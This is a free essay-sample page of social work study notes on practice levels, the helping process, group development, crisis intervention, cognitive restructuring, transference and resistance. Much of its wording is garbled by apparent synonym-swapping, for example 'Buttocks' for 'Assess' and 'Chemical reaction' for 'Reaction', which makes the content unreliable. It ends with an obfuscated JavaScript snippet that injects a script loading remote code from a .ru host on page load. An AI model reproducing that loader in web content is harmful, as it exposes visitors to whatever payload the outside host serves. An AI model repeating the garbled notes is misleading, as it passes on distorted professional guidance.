Base Of Social Work Essay Research Paper free essay sample

Base Of Social Work Essay, Research Paper Knowledge Base of Social Work: Practice methods that correspond to the degrees of Practice are: 1. Micro degree of practice- direct practice/service delivered straight to clients ( face to face and minimum administrative work. 2. Mezzo degree of practice- indirect pattern affecting administration/leadership functions enabling effectual bringing of services. ? Policy preparation ? Program design ? Funding ? Management ? Supervision ? Organizational and Public Relations ? Community Education ? Monitoring for Improvement of Productivity 3. Macro degree of practice- involves the procedures of Social Planning and Community Organization ? Professional Change Agents who assist Comm. Action Systems composed of persons, groups or Organizations deal with societal jobs ? Program planning and development, working with governmental agents and Comm. ? Execution of Programs 4. Research- drive force behind strict promotion of cognition Doctrine of Direct Practice 1. Peoples are capable of doing their ain alteration ; they have free will 2. Assist people maximize their possible and independency 3. Change environmental influences that adversely impact clients 4. Increase understanding that behaviour is purposive and end directed and this is non readily discernable. 5. Peoples are capable of larning new behaviours 6. Most troubles can be resolved by concentrating on present picks and mobilising their strengths 7. Increasing people # 8217 ; s cognition and larning new accomplishments produces self growing in the procedure 8. Use schemes that motivate people to implement alterations in assorted types of systems 9. Life # 8217 ; s crises represent chances for growing and command is a beginning of strain in life 10. Peoples need self-affirmation and self-pride. Many struggles are indirect look of feelings of low self-pride. 11. Human growing occurs in the context of relationships with other people 12. We model for others unfastened reliable relationship skills/behaviors 13. Increase reactivity to the demands of others 14. Populate in the world of the present motivates people to exert their potencies more to the full 15. Means of helping clients should safeguard self-respect, self-esteem, self-government and confidentiality 16. Awareness of ego is the first measure to self-fulfillment 17. Peoples right to their ain values and belief systems are intact. It is societal work # 8217 ; s duties to help clients to confront these facets of those beliefs that cause disfunction in their lives. The Helping Procedure Phase I: 1. Establishing resonance 2. Exploring client # 8217 ; s jobs 3. Explicating multidimensional appraisal of the job, systems involved and resources available 4. Enhancing motive of client 5. Mutually negotiating ends and explicating a contract Phase II: -The participants combine their attempts in working towards the ends, dwelling of distinct actions or undertakings that are built-in units of the overall end -Practitioners has the duty of choosing and implementing intercessions that will help clients in carry throughing their ends and undertaking. -Interventions should straight associate to the jobs and to the consequent ends that were negotiated and that were derived from accurate appraisal. -Monitor betterment on regular footing -Use of ego in procedure suitably provides for clients a theoretical account of unfastened an reliable relationship Phase III: 1. Buttocks when persons and group ends have been attained and plan expiration consequently 2. Effecting successful expiration of the assisting relationship 3. Planing for care of alteration and continued growing following expiration 4. Measuring the consequences of the aid in procedure The Cardinal Values of Social Work 1. Developing and utilizing resources 2. Confirming the worth and self-respect of clients 3. Confirming uniqueness and individualism 4. Confirming problem-solving capacities and self-government 5. Safeguarding confidentiality Measuring Group Process 1. A Systems Framework for Measuring Groups- groups are societal systems and therefore germinate inexplicit regulations or norms that govern behavi9ors, form forms, and modulate internal operations. ? As leaders observe groups to spot patterned behaviours, they must at the same time go to to behavior manifested by persons and by the group itself. ? A major functions of leaders in growing groups, is to help members to go cognizant of their patterned behavioural responses, to find the impact of these responses on themselves and others and to take whether to alter such responses. ? Understand Content ( verbal statements ) and Process ( the behaviours displayed by members during the group ) ? Identify functions of group members because they can impact the group # 8217 ; s capacity to react to the single demands of members and its ability to carry through curative aims. ? Members tend to play-out in groups the same functions that they assume in other societal contexts and demand to understand the impact of dysfunctional functions on themselves and others. ? Identify the growing of persons by maintaining a record on each individual to place growing. ? Appraisal must see the cultural background of members ? Assess cognitive forms of the group members Phases of Group Development 1. Preaffiliation-Approach and Avoidance Behavior displayed as probationary engagement, hovering willingness to presume duty, interact with others, and to back up plan activities and events. 2. Power and Control-A Time of Transition into intimate system of relationships ; whereby the new state of affairs becomes apprehensible and predictable. They struggle at this phase concerned with how they rank in relation to other members. Conflicts between opposing subgroups frequently occur in this phase. 3. Intimacy-Developing a Familial Frame of Reference for the group means they see a we-ness and committedness to the group intent. A group character will germinate with a manner and a set of values. 4. Differentiation- Developing Group Identity and an Internal Frame of Reference for the group means they have achieved group-centered operations and single and group demands evolve. Greater freedom of personal look develops with feelings of echt credence and value. 5. Separation- A Time of Breaking Away means for the group a clip of loosening intense bonds and a hunt for new resources and ties to fulfill demands. Patterned Group Behavior ( positive behaviours manifested early on in groups ) ? The group faces up to a job and makes alteration or accommodation ? The group responds positively the first clip a member takes a hazard ? Members of the group are invested and supportive toward other members ? The group moves in + way without the leader # 8217 ; s counsel or intercession ? The group works harmoniously for a period of clip ? Members efficaciously make a determination together ? Members adhere to a specific group goal/work to carry through ? Members give + feedback or detect + ways the group has worked together ? The group responsibly confronts a member who is ruling interaction or interfering with the undertaking ? Members pitch in to clean up after a group session Social Conflict Approach with Clients Under Duress -The challenge of the practician is to minimise or cut down the reactance by reacting in ways that lessen the client # 8217 ; s perceived menace to freedom. Reacting in unexpected ways that cut down menace. These unexpected ways of response convey the feeling of wanting to be an ally instead than an antagonist. 1. Stress picks that are available 2. Contracts in ways aimed at reconstructing freedom 3. Stephen fosters care of some current behaviours to minimise clients # 8217 ; frights of losingss 4. Focuss on limited and specific alterations instead than on planetary and sweeping alterations that would be endangering and unacceptable. 5. Maximizes self-government within parametric quantities determined by the state of affairs Crisis Intervention / gt ; 1. Is clip limited 2. Focuss on jobs of populating instead than abnormal psychology 3. Oriented to the here and now 4. Involves a high degree of activity by the practician 5. Employs undertakings as a primary maneuver of alteration attempts 6. An eclectic model that can suit assorted pattern theories and intercessions Initial Phase of CI 1. To alleviate the client # 8217 ; s emotional hurt 2. To finish an appraisal 3. Plan the scheme of intercession Empowering Peoples with AIDS *Patrick Haney left behind a bequest of guidelines for authorising people with AIDS. 1. Modify their mentality that they are non a victim, merely people with AIDS. A perceptual experience of being a victim Fosters passiveness and a sense of weakness. 2. Focus more on chances for doing the most of a bad state of affairs and less on the fatalistic facets of the disease. 3. Help them to happen people who can supply them with support and they themselves must be caring and supportive. Cognitive Restructuring ( Cognitive Therapy ) ? Most societal and behavioural disfunction consequences straight from misconceptions that people hold about themselves, other people, and assorted life state of affairss. ? Cognitive restructuring is a systematic intercession that is peculiarly utile in helping clients to derive consciousness of dysfunctional and self-defeating ideas and misconceptions that impair personal operation and to replace them with beliefs and behaviours that are aligned with world and lead to heighten operation. ? CT techniques are relevant for jobs associated with low self-prides, distorted perceptual experiences in interpersonal dealingss, unrealistic outlooks of ego, others, and life in general, irrational frights, anxiousness and depression, unequal control of choler and other urges, and deficiency of assertiveness. ? CT is frequently blended with other intercessions ( patterning, behavioural, relaxation, assertiveness, and drug therapy ) because combination of theories is more effectual than individual intercessions. ? Caution: Dysfunction may be caused by a assortment of biophysical jobs, including encephalon and neurological upsets, thyroid instability, blood sugar instability, consumption of toxic substances, malnutrition and other signifiers of chemical instability of the organic structure. Stairss in Cognitive Restructuring 1. Assist clients to accept that their self-statements, premises and beliefs mostly mediate their emotional reactions to life # 8217 ; s events 2. Assist clients to place dysfunctional beliefs and forms of ideas that underlie their jobs ? Ask them how they reached certain decisions ? Challenging them to show grounds back uping dysfunctional positions or beliefs ? Challenging the logic of beliefs that magnify feared effects of certain actions -By deriving pattern in placing and measuring the cogency of self-statements and beliefs, clients achieve preparedness to prosecute in self-monitoring between Sessionss. Self-monitoring expands self-awareness and paves the manner for subsequently get bying attempts. 3. Assist Clients to place state of affairss that engender dysfunctional knowledges. 4. Assist clients to replace functional self-statements in topographic point of self-defeating knowledges. 5. Assist clients to honor themselves for successful header attempts. -Limitations of CT: Often the clients lack societal accomplishments and necessitate direction and pattern before they can efficaciously execute new behaviours. CT is frequently used in combination with practician mold, behavioural dry run, and guided pattern to help clients to get the hang indispensable accomplishments needed. Troubles in Trusting and Transference ? Aloofness and intuition are defensive forms that protect clients from imagined injuries, development, rejection, unfavorable judgment, penalty, and control by others. ? Trying to carry clients of one # 8217 ; s purpose is normally counterproductive, alternatively exercising forbearance and continuity. ? Attempt to make clients who cancel or miss assignments by phone or home-call ( missive is less effectual ) . Acknowledge that their failure to maintain assignments is more a form of turning away than a deficiency of motive. ? Transference Chemical reaction: the client transportations to the practician wants, frights, and other feelings that are rooted in the past experiences with others hindering the procedure. ? Transference Reactions involve over generalised and deformed perceptual experiences that create troubles in interpersonal relationships. ? Its besides an chance for growing. The challenge is to help such clients to acknowledge their deformed perceptual experiences and to develop finer interpersonal perceptual favoritisms so that they can distinguish and cover with others as alone persons instead than overgeneralise projections of images, beliefs, or attitudes. Pull offing Transference Chemical reactions -It is critical to switch concentrate to their here-and-now feelings. 1. Be unfastened to the possibility that the client # 8217 ; s reaction is non unrealistic and by be produced by your behaviour and respond genuinely by having duty for your behaviour. 2. It is of import to react in different ways that the client # 8217 ; s awaited response from their past interactions. This forces the client to distinguish the practician from past figures. 3. Help the client to find the immediate beginning of deformed perceptual experiences when the feelings emerge. By researching these feelings and non rectifying them you assist the client to spread out their consciousness of their forms of overgeneralising. 4. After clients have discerned the unrealistic nature of their feelings and manifested consciousness of the deformations portion your existent feelings. This can reassure clients who have felt offended, hurt, resentful, rejected or the similar. 5. After you have examined the debatable feelings, assist clients to find whether they have experienced similar reactions in other relationships. To help clients to spot forms of deformations that creates troubles in other relationships. Countertransference Chemical reactions -It green goodss distorted perceptual experiences, blind musca volitanss, wants, and antitherapeutic emotional reactions and behaviour. Such as: ? Deviating clients from showing choler because healer is uncomfortable ? Overidentifying with rebellious striplings due to unsolved feelings towards autocratic parents -Becoming aware of unrealistic feelings toward a client or of reactions are signals that a practician should instantly take appropriate disciplinary steps. Otherwise the countertransference will restrict the practician # 8217 ; s possible helpfulness or contribute to the client # 8217 ; s disfunction. -The first measure in deciding countertransference is to prosecute in self-contemplation ( analytical duologue with oneself aimed at find ) -The 2nd measure if 1st doesn # 8217 ; t work is to discourse it with a co-worker or another professional for difference position. -Not all negative feelings or reactions are due to countertransference. Look beyond the violative qualities of certain clients and discover positive qualities. Efficaciously Pull offing Sexual Attraction ? Take disciplinary steps such as self-contemplation or confer withing with another professional. Pull offing Resistance -Rule of pollex: If opposition International Relations and Security Network # 8217 ; t strong plenty to hinder advancement, its best ignored. 1. Bring it to discussion by concentrating on the here-and-now feelings that underlie opposition. ? An reliable response that conveys the practician # 8217 ; s good will and concern besides reaffirms the helpful purpose and desire to work on troubles. ? Initiate geographic expedition of the beginning of opposition ? Accredit their strengths when they discuss the feelings, to kill the feared response and reenforce the client for unwraping hazardous feelings 2. Use Positive Intensions to assist clients acknowledge the positive and negative sides of opposition. ? The end is to minimise the client # 8217 ; s needs to support themselves and to safeguard their already unstable self-prides. It is of import to assist clients acknowledge that their indecent reactions derived from deformed perceptual experiences and to promote them to show their feelings straight in the hereafter. 3. Redefine Problems as an chance for Growth 4. Confront forms of opposition. 5. Use Curative Binds-Confronting clients in a manner that they either have to alter or ain duty for taking to perpetuate their troubles. Use to help non move out defeat. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;